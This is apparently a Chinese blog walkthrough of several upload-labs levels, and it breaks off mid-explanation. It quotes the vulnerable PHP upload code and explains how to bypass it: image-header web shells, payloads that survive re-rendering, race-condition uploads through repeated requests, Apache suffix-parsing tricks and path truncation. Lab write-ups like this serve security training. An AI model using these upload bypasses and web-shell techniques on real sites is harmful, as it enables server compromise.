首先需要在本机环境中开启php_exif扩展,否则将会提示如下错误:
开启php_exif扩展方法详见这篇博客。
分别去掉php_mbstring、php_exif
扩展的注释,再将exif
块的注释全部清除,此时再执行相应的代码。
从代码可以看到,本关主要考查exif_imagetype($filename)
函数的使用,首先了解一下exif_imagetype
函数。
exif_imagetype()
读取一个图像的第一个字节并检查其签名。 返回值和getimagesize()
返回的数组中的索引 2 的值是一样的,但本函数快得多。
常见的返回值有:
1 IMAGETYPE_GIF
2 IMAGETYPE_JPEG
3 IMAGETYPE_PNG
4 IMAGETYPE_SWF
5 IMAGETYPE_PSD
6 IMAGETYPE_BMP
例如选择一张jpg
类型的图片上传,返回值应为2
本关代码为:
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
由于只检查第一个字节,因此我们使用copy /b 1.png+test.php upload.png
生成的图片马尝试绕过。
move_uploaded_file(string $filename, string $destination): bool
本函数检查并确保由 filename 指定的文件是合法的上传文件(即通过 PHP 的HTTP POST
上传机制所上传的)。如果文件合法,则将其移动为由destination
指定的文件。
imagecreatefromgif(string $filename): resource
imagecreatefromgif()
返回一图像标识符,代表了从给定的文件名取得的图像。 成功后返回图象对象,失败后返回 false。
imagepng(resource $image, string $filename = ?): bool
imagepng()
将 GD 图像流(image)以 PNG 格式输出到标准输出(通常为浏览器),或者如果用filename
给出了文件名则将其输出到该文件。
在这里把每张用户上传的图片都重新生成了,也就是类似于生成缩略图的方式,我们首先使用正常的图片马,上传后下载下来,看看被代码重新生成的文件与源文件有什么不同。
使用GIF成功的可能性更大,灰色的部分即为相等的部分,因此将要插入的话包含在灰色部分即可。
而png和jpg相对而言都较难成功, 这里参考了国光的文件上传靶场知识总结的部分内容。
引用他人的项目hxer /imagecreatefrom实现。
使用命令
python poc_png.py -p "$_REQUEST[1]); ?>" -o test.png indexcolor.png
生成带有payload的文件。上传渲染后使用010edit打开。发现payload仍然存在,数据在PLTE
块中。
而jpg 的渲染图片马我的环境中一直无法成功,后期再进行学习。
代码如下:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
在本关中所有符合条件的上传的文件都会被 rename
,所有不符合条件的伤处啊都会被unlink,因此上传的文件内容应该为:
fputs(fopen('xiao.php','w'),'');?>
这里内容pass使用1而不使用字符串也是为了避免引号问题。
首先在未unlink之前将生成木马文件的脚本上传,然后在删除之前访问即可。
抓取上传文件的数据包。
发送到Intruder
模块,选择空载荷和无限期的重复。
开始攻击后可以发现upload
目录下的test
文件会闪烁存在,但时间很短,因此需要抓取一个访问test.php
的数据包,重复以上操作。
当状态码由404变为200时,文件已经写入成功了。
访问shell文件成功执行。
这里也是需要用到条件竞争,先使用上面的脚本。
fputs(fopen('xiao.php','w'),'');?>
根据代码可知,上传的文件必须在以下后缀名中。
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
根据Apache解析漏洞规则,无法被解析的文件名会向前解析,因此需要找到一个不被解析的白名单后缀。
且其他zip、ppt、xml等后缀名要么不被重命名,要么直接下载或被解析, 无法完成访问,只有7z不被解析也不会被下载。
此时上传test.php.7z
,但会被重命名,因此要在重命名之前上传并访问他。
使用18关的方法上传并访问即可。
当move_uploaded_file($temp_file, $img_path)
中的path
可控时,不仅在一定的条件下可以使用%00
截断,还可以使用/.
使其忽略后面的内容,从而上传恶意文件。
http://127.0.0.1/upload-labs/upload/upload-19.php/
代码如下:
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
根据三目运算符的含义
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
即为优先取我们传递的save_name,只有save_name为空时才会使用本身的名字。
再使用
if (!is_array($file)) {
$file = explode('.', strtolower($file));}
将文件名以点.
分割为数组。
使用$ext = end($file);
函数取最后一个元素为后缀名。
使用reset($file) . '.' . $file[count($file) - 1];
将文件名以最后一个元素为后缀重新命名。
当我们传入0=>'test.php',2=>'png'
这样一个file时,各部分的输出为: